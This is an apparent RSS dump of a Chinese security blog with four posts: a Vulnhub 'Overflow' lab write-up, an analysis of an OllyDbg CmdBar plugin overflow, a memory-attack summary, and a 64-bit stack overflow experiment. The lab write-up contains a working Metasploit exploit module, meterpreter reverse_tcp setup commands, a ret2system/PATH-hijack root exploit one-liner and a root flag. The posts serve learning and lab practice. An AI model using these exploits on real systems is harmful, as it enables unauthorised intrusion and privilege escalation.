溢出 – 若水斋 https://blog.werner.wiki Try harder Sat, 28 Dec 2019 07:30:04 +0000 zh-Hans hourly 1 https://wordpress.org/?v=6.8.3 https://blog.werner.wiki/wp-content/uploads/2018/11/cropped-ql1-1-32x32.jpg 溢出 – 若水斋 https://blog.werner.wiki 32 32 渗透笔记之Overflow https://blog.werner.wiki/penetrate-overflow/ https://blog.werner.wiki/penetrate-overflow/#respond Tue, 30 Jul 2019 14:08:01 +0000 https://blog.werner.wiki/?p=765

首发于“安全客”,赚点稿费。

背景

Overflow是来自Vulnhub的boot2root靶机。下载下来的是一个OVA格式的虚拟机,可在VirtualBox中打开(不建议使用VMware)。虚拟机已设置DHCP,可自动获取IP。

本文较为完整地记录了对其进行渗透的全过程。该靶机难度为简单,需要攻击者具备逆向和缓冲区溢出的基本知识。

准备环境

首先下载靶机镜像,得到文件Overflow.ova,大小为493M。然后在VirtualBox中导入它,观察其配置,发现只有一块虚拟网卡,修改其连接方式为桥接网络。在同一网络中还有一台IP地址是192.168.1.200的Kali Linux虚拟机(以下简称Kali)作为攻击者。

在Kali中运行命令netdiscover进行主机发现,确定靶机IP地址为:192.168.1.174。

信息收集

端口扫描

使用Nmap对靶机进行TCP端口扫描:

nmap -sV -p- -Pn -n 192.168.1.174

扫描结果如下图所示,看到靶机开放了80端口和1337端口。

nmap扫描结果

Web探测

访问http://192.168.1.174:80/,看到如下图所示的页面,有一个下载vulnserver的链接。

Web页面

出于习惯,查看页面源码,如下所示,没有什么收获。

<html>
Dirbuster is not needed. Here is the file : <a href="vulnserver" download>vulnserver</a>
</html>

虽然网页中写到“Dirbuster is not needed.”,但还是尝试了一下目录爆破,果然没有发现什么特别的目录。到目前为止,唯一的收获是vulnserver,把它下载下来。

vulnserver研究

功能研究

下载vulnserver后首先使用file命令查看文件类型:

file vulnserver

命令输出如下图所示,可以看出这是一个32位的ELF可执行文件。

file命令输出

给它可执行权限,并且执行它,看到它在监听1337端口,如下图所示。

vulnserver运行截图

用Telnet去连接它,并进行交互,结果如下图所示。

vulnserver交互截图

容易验证,靶机中监听1337端口的为同一程序。看来这个程序应该有可以远程利用的缓冲区溢出漏洞,现在的任务是找出这个漏洞并利用它。

静态分析

先用checksec看看防护情况:

checksec --file=vulnserver

如下图所示,看到什么防护都没有开启,最好不过了。

checksec结果

用IDA pro打开vulnserver,用F5逆向出main函数的C代码,这里只给出最关键的部分:

  /*
   * 省略绑定端口,进行监听的代码
   */
  while ( 1 )
  {
    v12 = accept(fd, &addr, &addr_len);
    if ( v12 < 0 )
      break;
    v3 = ntohs(*(uint16_t *)addr.sa_data);
    v4 = inet_ntoa(*(struct in_addr *)&addr.sa_data[2]);
    printf("Connection accepted from %s:%d\n", v4, v3);
    v11 = fork();    // 注意这里开启了新进程
    if ( !v11 )
    {
      write(v12, "COMMAND : ", 0xAu);
      recv(v12, &buf, 0x400u, 0);    // 接收客户端发来的数据
      if ( !strncmp("OVERFLOW ", &buf, 9u) )    // 只比较前9个字符是否相等
      {
        handleCommand(&buf);    // 调用了函数handleCommand
        write(v12, "COMMAND DONE\n", 0xDu);
      }
      else
      {
        write(v12, "TRY HARDER!\n", 0xCu);
      }
    }
  }
  /*
   * 省略接下来的代码
   */

继续F5逆向handleCommand函数,结果如下所示:

// Start address is 0x08049262
char *__cdecl handleCommand(char *src)
{
  char dest; // [esp+0h] [ebp-28h]
  return strcpy(&dest, src);
}

调用了strcpy,显然handleCommand是有栈溢出漏洞的。

动态调试

刚开始调试时,将断点下在handleCommand函数开始处(0x08049262),不能成功中断,而是收到sigchld信号,调试失败。查阅资料后得知这是由于多进程的原因。

后来采取的调试方法是先运行vulnserver,然后用Telnet建立与vulnserver的连接,此时子进程已经生成,接着打开edb,使用Attach功能调试vulnserver的子进程(进程ID大的那个),如下图所示。

Attache子进程

Attach后,将断点下在0x08049262,然后再输入COMMAND为“OVERFLOW 123456789”,如下图所示。

COMMAND为“OVERFLOW 123456789”

此时在edb中程序成功中断,如下图所示。

成功中断

单步运行至ret指令处,注意观察栈内数据,看到我们输入到“OVERFLOW 123456789”距离返回地址还有11行,也就是4×11=44个字符,如下图所示。

handleCommand ret

编写攻击代码

漏洞发掘完毕,接下来需要编写攻击代码。首先找跳板jmp esp(FF E4),使用edb的BinarySearcher插件,成功地找到了唯一的跳板,位于0x0804929a,如下图所示。

BinarySearcher结果

有了跳板,就可以编写攻击代码了。写了一个Metasploit的exploit模块,代码如下所示:

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Vulnserver Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in the vulnserver which froms a target machine called Overflow.
      },
      'Author'         => 'Werner <me[at]werner.wiki>',
      'License'        => BSD_LICENSE,
      'References'     =>
        [
          ['Vulnhub', 'https://www.vulnhub.com/entry/overflow-1,300/']
        ],
      'Platform'       => %w{ linux },
      'Targets'        =>
        [
          [
            'Vulnserver',
            {
              'Platform' => 'linux',
              'Ret'      => 0x0804929a,
              'Offset'   => 44 - 9
            }
          ],
        ],
      'Payload'        =>
        {
          'BadChars'    => '\x0a\x0d\x00\xff'
        },
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Jul 22 2019'))

    # Configure the default port to be 9080
    register_options(
      [
        Opt::RPORT(1337),
      ])
  end


  def exploit
    print_status("Connecting to target for exploitation.")
    connect
    print_good("Connection established successfully.")
    recv_buf = sock.get_once
    print_status("Received data: #{recv_buf}")
    buf = make_nops(target['Offset'])
    buf = 'OVERFLOW ' + buf + [target['Ret']].pack('V') + make_nops(20) + payload.encoded
    print_status("Sending exploit packet.")
    sock.put(buf)
    handler
    disconnect
  end
end

将上述代码保存到文件vulnserver.rb中,然后将这个文件放在/usr/share/metasploit-framework/modules/exploits/linux/misc/中。

需要特别说明,我使用的Metasploit版本为5.0.27-dev。

完成上述工作后打开msfconsole,输入命令reload_all重载所有模块,看看有没有报错,如果没有报错,exploits的数量应该多了1,这说明模块vulnserver载入成功。

漏洞利用

当然先在本地进行测试,发现攻击代码是可用的。然后进行实际的攻击,进入msfconsole后使用我们刚刚编写的攻击模块vulnserver,设置payload为linux/x86/meterpreter/reverse_tcp,设置rhosts为靶机IP,设置lhost为Kali的IP地址。具体的命令如下:

msf5 > use exploit/linux/misc/vulnserver
msf5 exploit(linux/misc/vulnserver) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
msf5 exploit(linux/misc/vulnserver) > set rhosts 192.168.1.174
rhosts => 192.168.1.174
msf5 exploit(linux/misc/vulnserver) > set lhost 192.168.1.200
lhost => 192.168.1.200

设置完成后使用show options命令查看所有设置,如下图所示,检查下确定没有问题。

查看所有设置

之后输入exploit开始攻击,但失败了。没有关系,多尝试几次,就会有一次成功获得meterpreter shell,如下图所示。

成功获得meterpreter shell

探索

首先查看文件,找到了一个flag:user.txt,如下图所示。

user.txt

查看权限发现果然是普通用户,不是root。考虑提权,先搜索有suid标志的文件:

ls -lh $(find / -perm -u=s -type f 2>/dev/null)

结果如下图,值得注意的是一个叫做printauthlog的程序。

suid

考虑到后续可能依旧要使用溢出漏洞来提权,所以看看是否开启了地址随机化,发现是开启的,如下图所示。

aslr

不管这些,先把printauthlog下载下来再说。

printauthlog研究

功能研究

用file命令可以看出printauthlog也是一个32位的ELF可执行程序。同样先运行一下,发现是要输入一个密码。如下图和下下图所示。

printauthlog1

printauthlog2

静态分析

先用checksec看看防护情况:

checksec --file=printauthlog

如下图所示,看到开启了NX(不可执行),有点麻烦,直接jmp esp是不行了。

checksec结果

然后用IDA pro逆向,main函数比较短,直接给出全文:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char command[4]; // [esp+0h] [ebp-7Ch]
  char v5; // [esp+1Ch] [ebp-60h]
  int *v6; // [esp+6Ch] [ebp-10h]

  v6 = &argc;
  strcpy(command, "/bin/cat /var/log/auth.log");
  memset(&v5, 0, 0x48u);
  if ( argc == 2 )
  {
    if ( checkPassword((char *)argv[1]) )
      puts("Wrong password");
    else
      shell(command);
  }
  else
  {
    printf("Usage: %s password\n", *argv);
  }
  return 0;
}

关键点显然在函数checkPassword,继续逆向出checkPassword的C代码,如下:

// Start address is 0x80491C9
int __cdecl checkPassword(char *src)
{
  char s1[4]; // [esp+Fh] [ebp-49h]
  char dest; // [esp+18h] [ebp-40h]

  strcpy(s1, "deadbeef");
  strcpy(&dest, src);
  return strncmp(s1, &dest, 9u);
}

又看到了strcpy,显然checkPassword也是有栈溢出漏洞的。

至于shell函数,其C代码为:

int __cdecl shell(char *command)
{
  return system(command);
}

看到在shell函数中调用了system。

现在我们已经知道密码是deadbeef,试了下果然是正确的密码,如下图所示。但这对权限提升是没有帮助的。

密码正确

动态调试

作为一个单进程程序,调试起来简单一点点。但这个程序需要一个命令行参数,所以用edb调试需要用如下的命令打开:

edb --run ./printauthlog 123456

将程序停在checkPassword函数的ret指令处,如下图所示。

checkPassword ret

数一数可以知道输入的123456距离返回地址有17行,即17×4=68个字符。但由于开启了NX,所以直接将返回地址覆盖为jmp esp是不行的,实际上由于这个程序过于简单,也找不到jmp esp。

编写攻击代码

该如何利用这个漏洞呢?似乎只能用ROP了。但实际上不用那么复杂,因为我们注意到这个程序调用了system(函数shell中),我们只要准备好适当的参数,也调用system就好了。

第一个问题,确定system@plt的地址。这使用objdump来完成:

objdump -d -j .plt printauthlog

部分输出如下:

08049060 <system@plt>:
 8049060:   ff 25 18 c0 04 08       jmp    *0x804c018
 8049066:   68 18 00 00 00          push   $0x18
 804906b:   e9 b0 ff ff ff          jmp    8049020 <.plt>

第二个问题,如何准备system的参数。这个问题有点麻烦,因为32位程序的参数是通过栈传递的,而system的参数是字符串指针。如下图所示是正常调用system@plt开始时的栈中数据情况,可以看到system的参数0xffd8462c是指向字符串的指针,而不是字符串本身。虽然可以将栈中数据覆盖为任意值,但由于地址的动态特性,我不知道有什么办法在构造shellcode时可以确定栈中字符串地址。

正常调用system

因为这个问题迟迟没能解决,我几乎要放弃了。但正要放弃时,忽然想到了另一个靶机HackInOS中通过命令劫持的方式实现了提权。那台靶机中有suid标志的可执行文件的C代码为:

#include <unistd.h>
#include <stdlib.h>

int main(){
    setgid(0);
    setuid(0);
    system("whoami");
    return 0;
}

通过劫持whoami命令,将whoami替换为“/bin/bash -p”成功提权。

回到面临的问题,其实我不需要把自己构造的字符串做为system的参数,几乎任意的字符串都可以做为system的参数,只要它是固定的(内容和地址都固定),不以“/”开头(以“/”开头没法劫持)。这样的字符串还是有很多的,比如“Wrong password”。

首先确定“Wrong password”的地址,依旧使用BinarySearcher,找到其地址为0x0804a008,如下图所示。

字符串地址

然后就可以构造shellcode了,从前往后(栈中从上往下)依次是:

17*4 字节的填充
0x08049060:system@plt的地址
0x080491C0:一个实际上不会用到的返回地址,单纯占位
0x0804A008:“Wrong password”的地址,system的参数

由于printauthlog接收的是命令行参数,所以需要借助perl来输入“\x08”这样的特殊字符(靶机中没有Python)。实际执行如下的命令完成攻击:

./printauthlog $(perl -e 'print "A"x(17*4)."\x60\x90\x04\x08"."\xc0\x91\x04\x08"."\x08\xa0\x04\x08"')

但现在执行上述命令还不能成功,因为我们还没有劫持“Wrong”命令。

实施攻击

首先从meterpreter shell进入到bash shell中,然后看看当前目录,发现是/home/user,如下图。

pwd

然后建立一个名为Wrong的文件,内容为“/bin/bash -p”,并给它可执行权限,如下图。

Wrong

接着在PATH中添加/home/user,如下所示。

PATH="$PATH:/home/user"

PATH

此时已完成对“Wrong”命令的劫持。最后运行攻击命令,获得一个有root权限的bash shell,如下图。

EXPLOIT!

有了root权限,很容易就找到了root的flag,如下图。

root flag

flag是:

dfd0ac5a9cb9220d0d34322878d9cd7b

当然由于shellcode过于简单,只要一退出root shell,程序就崩溃了,如下图。

Segmentation fault

总结

虽然就缓冲区溢出而言,这个靶机的难度只能算简单,但我对这方面知识的了解仅限于阅读过《0day安全:软件漏洞分析技术(第二版)》,而且还是三年前的事情了,所以对我来说还是有相当的挑战的,成功拿到root权限后,带来的成就感也是前所未有的。

在渗透的过程中,果然不能轻言放弃,而是要尝试所有的可能性。同时我也感受到了二进制的魅力——内存海洋的苦苦寻觅,不拘一格的漏洞利用。

做的不好的地方在于没有过多的思考就直接执行了从靶机中下载的可执行文件,应该准备一个专用的沙盒的。

参考

]]>
https://blog.werner.wiki/penetrate-overflow/feed/ 0
意外发现一个溢出漏洞 https://blog.werner.wiki/accidentally-found-an-overflow-vulnerability/ https://blog.werner.wiki/accidentally-found-an-overflow-vulnerability/#comments Mon, 15 Aug 2016 12:06:42 +0000 http://blog.werner.wiki/?p=136 昨天下午在用OllyDbg分析sdemo2.0 缓冲区溢出漏洞时不小心将大约几千个字符”A”粘贴进了Command,OllyDbg随即运行出错, 点调试后惊奇地发现EIP被覆盖为41414141。又测试了几次,确定OllyDbg的插件CmdBar存在溢出漏洞。我的第一个漏洞就这样在意外中发现了!

一、漏洞重现

实验环境:Windows7旗舰版 Service Pack 1,OllyDbg1.10(汉化第二版)以兼容Windows Xp SP3 方式运行。WindowsXP下运行OllyDbg也有此漏洞。

复制粘贴250个字符“A”到Command中就会出现上图所示的错误提示,点击调试后会发现EIP被覆盖为0x41414141,如下图所示:

这是很典型的溢出漏洞。改变字符串长度,会发现当字符串长度小于等于238时不会有错误产生,当字符串长度大于等于250时EIP被覆盖为0x41414141,字符串长度为239到250时,错误各不相同,总结为下表:

“A”的个数 EIP 错误提示
<239 无错误
239 0xC02F0001 访问违规:正在执行[C02F0001]
240 0x00000000 访问违规:正在执行[00000000]
241 0x04CA2DFA 访问违规:读取[00002E36]
242 0x05062DFA 访问违规:读取[002E2234]
243 0x05062D00 访问违规:正在写入到[00000001]
244 0x0439002E 访问违规:正在写入到[00000001]
245 0x03002E22 访问违规:正在执行[03002E22]
246 0x002E2220 访问违规:正在执行[002E2220]
247 0x2E222041 访问违规:正在执行[2E222041]
248 0x22204141 访问违规:正在执行[22204141]
249 0x20414141 访问违规:正在执行[20414141]
≥250 0x41414141 访问违规:正在执行[41414141]

二、漏洞产生原因分析

来用OllyDbg调试OllyDbg,找出产生漏洞的代码。程序出错后选择调试,在栈中可以看到大量的“41”,以及一个注释——“CmdBar.05172C90”。(上图中是“CmdBar.03CF2C90”,但这次调试中是“CmdBar.05172C90”,这个值每次都可能不一样。)既如此,就把断点设在这里好了。试着运行一下,发现中断过于频繁,又注意到0x05172C90是一个函数的开始,它的前面是另一个函数,尝试将断点设在这个函数中,就设在0x05172C5F处好了。重启OllyDbg,打开OllyDbg.exe,按F9运行,再在0x05172C5F处设置断点,然后向被调试的OllyDbg的Command中复制粘贴超长字符串(250个”A”),程序中断:

可以看到<jmp.&USER32.SetWindowTextA>是要设置某个窗口的提示字符串。先不管它,继续按F8单步运行,直到retn:

可以看到返回地址被41414141覆盖,更准确的说是被第247、第248、第249和第250个”A”覆盖。这就显示出了用250个字符测试的好处,若太长,覆盖了栈中的“CmdBar.05172C60”的话,就没这么好调试了。但到目前为止只找到了EIP被劫持为41414141的关键指令retn,还没有找到产生漏洞的罪魁祸首。

向上翻阅反汇编代码,发现有一个repne指令和两个rep指令,在这三个指令处下断点,如下图所示:

重新来过,程序果然停在了repne处:

REPNE SCAS BYTE PTR ES:[EDI]
扫描 ES:[EDI]字符串中与 AL的值相同的字符,遇到相同的后停止
参考:REPNE SCAS BYTE PTR ES:[EDI] 指令详解

紧接着执行NOT ECX后ECX的值便是字符串长度0xFB(十进制的251,250个”A”和一个截止符)。继续单步运行,依次执行完两次rep,却发现返回地址并没有被覆盖,这一点与预想不同。继续按F8单步运行,当执行完<jmp.&USER32.wsprintfA>后,发现返回地址被覆盖。

问题出在这里:在调用函数wsprintfA时未检查参数字符串的长度,所以导致溢出。原来会复制一段内存的函数不仅有strcpy,strncpy和memcpy,还有wsprintfA这样的函数。

再检查一次吧。删除其他所有断点,仅在调用wsprintfA处下断点,重新来过,粘贴250个”A”后,程序停在了调用函数wsprintfA处,如下图所示:

按一下F8执行完wsprintfA后,位于0x0018F14C处的函数返回地址已经被覆盖:

可以确定,确实是调用函数wsprintfA时未检查参数字符串的长度导致的溢出漏洞。至此,这个漏洞的产生原因分析完成。下一步本该是写出攻击代码,但我想先写写总结。如果要写攻击代码,会在另一片博文中展示。

三、总结

这篇文章阅读起来大约只需十几分钟,但我却花了超过8个小时才完成它。中途走了很多弯路,刚开始想,既然是溢出漏洞,一定涉及到字符串的复制,在给strcpy和strncpy函数都下断点无果后,寻找rep指令,给所有rep指令下断点,耐心调试后发现

    - rep -  movs dword ptr es:[edi], dword ptr [esi]

将过长的字符串复制到了栈中。按下Shift+F2,在该处下条件断点:[ESI]==41414141。当向被调试的OllyDbg的Command中复制过长的字符串后,程序会停在刚刚设置的条件断点处。这时查看调用堆栈(Alt+K),发现调用的是memcpy函数,而不是strcpy或strncpy。用bp memcpy来设置新的断点,但用鼠标一点Commamd中断就会发生,无法向Command中复制超长字符串,且不知为何,设置条件断点也没能成功。所以换个思路,超长字符串是复制粘贴进去的,所以用bp GetClipboardData来设置断点。

重启OllyDbg,打开OllyDbg.exe,按F9运行,再用bp GetClipboardData设置断点,然后向被调试的OllyDbg的Command中复制粘贴超长字符串,程序被中断在GetClipboardData函数的第一条指令处,之后按Ctrl+F9运行到返回,可以看到此时EAX指向超长字符串,然后用bp memcpy设置断点,再按F9运行程序,如此反复尝试,也没有什么结果。

又想设置内存断点,但不知何种原因,内存访问断点是可以正常工作的,但内存写入断点总是无效的。尝试了好多后只能放弃。山穷水尽之时忽然看到“CmdBar.05172C60”,这才柳暗花明。

灵活多变的思路很重要,一路不通,则换一路,兵者,诡道也。经验也很重要,知道都有哪些路可走,甚至创造出新的路来。

明显的感觉到,自己在看完《0day安全:软件漏洞分析技术》后,对于简单的漏洞原理都是掌握了的,但真的拿到一个庞杂的软件,想从中定位几行有漏洞的指令,还是很困难的。我缺乏的,是调试的知识和经验。

四、看雪论坛的OllyDbg系列教程

  1. CCDebuger的OllyDBG入门教学
  2. OllyDBG技巧汇集
  3. OD脚本教学
]]>
https://blog.werner.wiki/accidentally-found-an-overflow-vulnerability/feed/ 2
内存攻击小结 https://blog.werner.wiki/memory-attack-summary/ https://blog.werner.wiki/memory-attack-summary/#respond Sun, 31 Jul 2016 12:01:16 +0000 http://blog.werner.wiki/?p=129 我花了大约一个月的时间看了《0day安全:软件漏洞分析技术》的第 1 篇:漏洞利用原理(初级)和第 2 篇:漏洞利用原理(高级)。这部分主要讲解了Windows平台下的各种内存攻击技术,从简单的栈溢出到绕过GS、DEP等高级防护措施。内容庞杂而深刻,觉得一时难以消化,故在此进行总结。

依我自己的理解,按目的,将内存攻击分为两大类,第一类是以修改关键指令(书中实验1.4),关键变量(书中实验2.2)为最终目的的内存攻击,第二类是以控制EIP(32位机)为终极目标的内存攻击。第一类相对简单易懂,且往往无法执行shellcode(但并不意味着危害更小),故不详细讨论,主要总结第二类内存攻击。

CPU根据指令寄存器EIP的值来执行相应位置的指令,控制了EIP,便控制了程序流程。第二类内存攻击技术,以控制EIP,执行shellcode为目标,为达成这一目标,分两步走:

第一步:修改内存值

修改内存值的方法便是栈溢出,堆溢出等。堆溢出又可细分为二:连续覆盖(溢出)⇒ 精确打击(DWORD SHOOT)。无论是栈溢出,堆溢出还是其他修改内存值的方式,都是在为第二步做准备。

第二步:控制EIP

通过修改特定位置的内存值,借助某些特殊指令、机制,便可以控制EIP。书中提到的控制EIP的方法有:

  • 函数返回地址(实验2.4,4.6,10.5,12.3,12.4)
  • 函数指针(实验6.3,10.3)
  • 异常处理S.E.H(实验6.1,10.4,11.4,11.5,11.6,15.3,15.4)
  • 进程环境块P.E.B(实验5.4)
]]>
https://blog.werner.wiki/memory-attack-summary/feed/ 0
64位Linux下的栈溢出 https://blog.werner.wiki/stack-overflow-under-64-linux/ https://blog.werner.wiki/stack-overflow-under-64-linux/#respond Thu, 30 Jun 2016 11:50:07 +0000 http://blog.werner.wiki/?p=125 今天在看《捉虫日记》,其中讲解的Linux下的栈缓冲区溢出是32位机器的,和我的64位机器有些不同之处。下面是我在64位Linux (Ubuntu14) 下的栈缓冲区溢出实验的记录。

首先是有溢出漏洞的程序,这个程序来自于《捉虫日记》。

    #include<string.h>
    void overflow(char *arg){
        char buf[12];
        strcpy(buf, arg);
    }
    int main(int argc, char *argv[]){
        if(argc==2)
           overflow(argv[1]);
        return 0;
    }

禁用堆栈保护编译

gcc -m64 stackoverflow.c -o stackoverflow -z execstack -fno-stack-protector

生成汇编文件

gcc -m64 stackoverflow.c -S -masm=intel -o stackoverflow.s -z execstack -fno-stack-protector

生成的.stackoverflow.s文件内容如下所示

        .file   "stackoverflow.c"
        .intel_syntax noprefix
        .text
        .globl  overflow
        .type   overflow, @function
overflow:
.LFB0:
        .cfi_startproc
        push    rbp
        .cfi_def_cfa_offset 16
        .cfi_offset 6, -16
        mov     rbp, rsp
        .cfi_def_cfa_register 6
        sub     rsp, 32
        mov     QWORD PTR [rbp-24], rdi
        mov     rdx, QWORD PTR [rbp-24]
        lea     rax, [rbp-16]
        mov     rsi, rdx
        mov     rdi, rax
        call    strcpy
        leave
        .cfi_def_cfa 7, 8
        ret
        .cfi_endproc
.LFE0:
        .size   overflow, .-overflow
        .globl  main
        .type   main, @function
main:
.LFB1:
        .cfi_startproc
        push    rbp
        .cfi_def_cfa_offset 16
        .cfi_offset 6, -16
        mov     rbp, rsp
        .cfi_def_cfa_register 6
        sub     rsp, 16
        mov     DWORD PTR [rbp-4], edi
        mov     QWORD PTR [rbp-16], rsi
        cmp     DWORD PTR [rbp-4], 2
        jne     .L3
        mov     rax, QWORD PTR [rbp-16]
        add     rax, 8
        mov     rax, QWORD PTR [rax]
        mov     rdi, rax
        call    overflow
.L3:
        mov     eax, 0
        leave
        .cfi_def_cfa 7, 8
        ret
        .cfi_endproc
.LFE1:
        .size   main, .-main
        .ident  "GCC: (Ubuntu 4.8.4-2ubuntu1~14.04.3) 4.8.4"
        .section        .note.GNU-stack,"",@progbits

在主函数中,38、39行将命令行参数放入栈中,第40行比较第一个参数(argc)的值是否等于2,若不等于则跳转(第41行)到L3,随后退出,若等于2,则取第二个参数加8后的地址单元中的值存放到寄存器rdi中。(第二个参数argv是char **型的,加8是因为我们传给函数overflow的参数是argv数组中的第二个值argv[1],它是一个字符串,也就是指向字符的指针。)在64位机器中,参数的传递会使用寄存器而不是堆栈。处理好参数之后便调用函数:call overflow。

在 函数overflow中,先执行“push rbp,mov rbp, rsp”(9-12行)称之为序幕(prolog)工作,对应的有第21行的leave指令完成收尾(epilog)工作。第14行的“sub rsp, 32”为局部变量留出空间。15-19行的指令为调用函数strcpy准备好了参数,参数依旧存在寄存器中(rsi是arg,rdi是buf,都是字符指针)。由于内存只能以字为单位寻址,64位机器中一个字是8个字节,buf[12]占12个字节,所以需要两个字的存储空间,也就是16字节,所以17行“lea rax, [rbp–16]”中减去了16 (最接近rbp的空间是留给buf的,因为它在函数中最先定义)。运行到第17行时,堆栈如下图所示:

函数strcpy会将rdi的值当做指针,将其指向的字符串复制到buf中,从上图可以看出,buf的大小很有限,若超出其长度,则会覆盖掉老rbp,老rip,使函数无法正常返回。尝试运行程序:

当参数字符串的长度小于等于15时运行不会出错

./stackoverflow 0123456789abcde

当参数字符串的长度大于15时运行才会报错

./stackoverflow 0123456789abcdef
Segmentation fault (core dumped)

为何不是16?C语言中的字符串是以\0作为结束标志的,所以实际的存储空间会比可见的长度多一个字节。

由于64位机器中的rip被设计成前47位有效,当指定一个大于0x00007fffffffffff的地址时会抛出异常,所以经典的0x4141414141414141无法实现。那就让我们把rip变成0x0000414141414141吧。

用gdb调试程序(-q使得gdb不输出gdb程序的版本等信息):

gdb -q ./stackoverflow

然后在gdb中输入命令

run $(python -c "print 'A'*30')

以30个大写字母A作为输入参数,其中16个用于填满buf,8个用于覆盖“老rbp”,最后6个用于覆盖rip。一运行就会看到这样的信息

Program received signal SIGSEGV, Segmentation fault.
0x0000414141414141 in ?? ()

可见rip的确被覆盖为了0x0000414141414141。若是想将rip覆盖为0x00007fffffffffff,则需要修改参数为

run $(python -c "print 'A'*24+'\xff'*5+'\x7f'")

运行结果为

Program received signal SIGSEGV, Segmentation fault.
0x00007fffffffffff in ?? ()
]]>
https://blog.werner.wiki/stack-overflow-under-64-linux/feed/ 0